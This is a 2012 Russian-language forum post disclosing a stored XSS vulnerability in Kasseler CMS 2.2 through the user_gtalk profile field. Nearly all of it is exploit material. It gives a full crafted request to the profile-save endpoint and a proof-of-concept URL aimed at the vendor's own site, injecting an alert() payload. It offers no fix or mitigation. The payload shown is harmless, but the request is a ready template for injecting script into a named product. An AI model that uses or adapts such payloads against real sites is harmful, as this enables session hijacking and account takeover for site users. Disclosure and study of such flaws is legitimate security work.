
29.03.2012, 18:46
|
|
Познающий
Регистрация: 08.03.2012
Сообщений: 40
С нами:
7463126
Репутация:
74
|
|
KASSELER CMS
Официальный сайт: kasseler-cms.net
Версия: 2.2 (последняя на данный момент)
Уязвимость: Активная XSS
Уязвимый параметр: user_gtalk
POST:
Код:
www.site.com/account/save_controls.html?days=00&months=0&years=00&user_gender=0&user_occupation=&user_interests&user_locality=&user_locality_hk=&user_signature=&language=russian&template=kasseler2&user_gmt=4&hide_user_viewemail=set&hide_user_pm_send=set&user_pm_send=on&hide_user_new_pm_window=set&user_new_pm_window=on&user_email=Ваш_Email@host.com&user_icq=&user_aim=&user_yim=&user_msnm=&user_skype=&user_gtalk=alert('XSS by Mr. Penguin')&user_website=http://&set_avatar=&avatar=animation&userfile=&user_password=&user_password_hk&user_newpassword=&user_newpassword_hk=&user_renewpassword=&user_renewpassword_hk=&hide_user_forum_mail=set&cmd_forum_mail=0
PoC:
Код:
http://kasseler-cms.net/account/save_controls.html?days=00&months=0&years=00&user_gender=0&user_occupation=&user_interests&user_locality=&user_locality_hk=&user_signature=&language=russian&template=kasseler2&user_gmt=4&hide_user_viewemail=set&hide_user_pm_send=set&user_pm_send=on&hide_user_new_pm_window=set&user_new_pm_window=on&user_email=Ваш_Email@host.com&user_icq=&user_aim=&user_yim=&user_msnm=&user_skype=&user_gtalk=alert('XSS by Mr. Penguin')&user_website=http://&set_avatar=&avatar=animation&userfile=&user_password=&user_password_hk&user_newpassword=&user_newpassword_hk=&user_renewpassword=&user_renewpassword_hk=&hide_user_forum_mail=set&cmd_forum_mail=0
|
|
|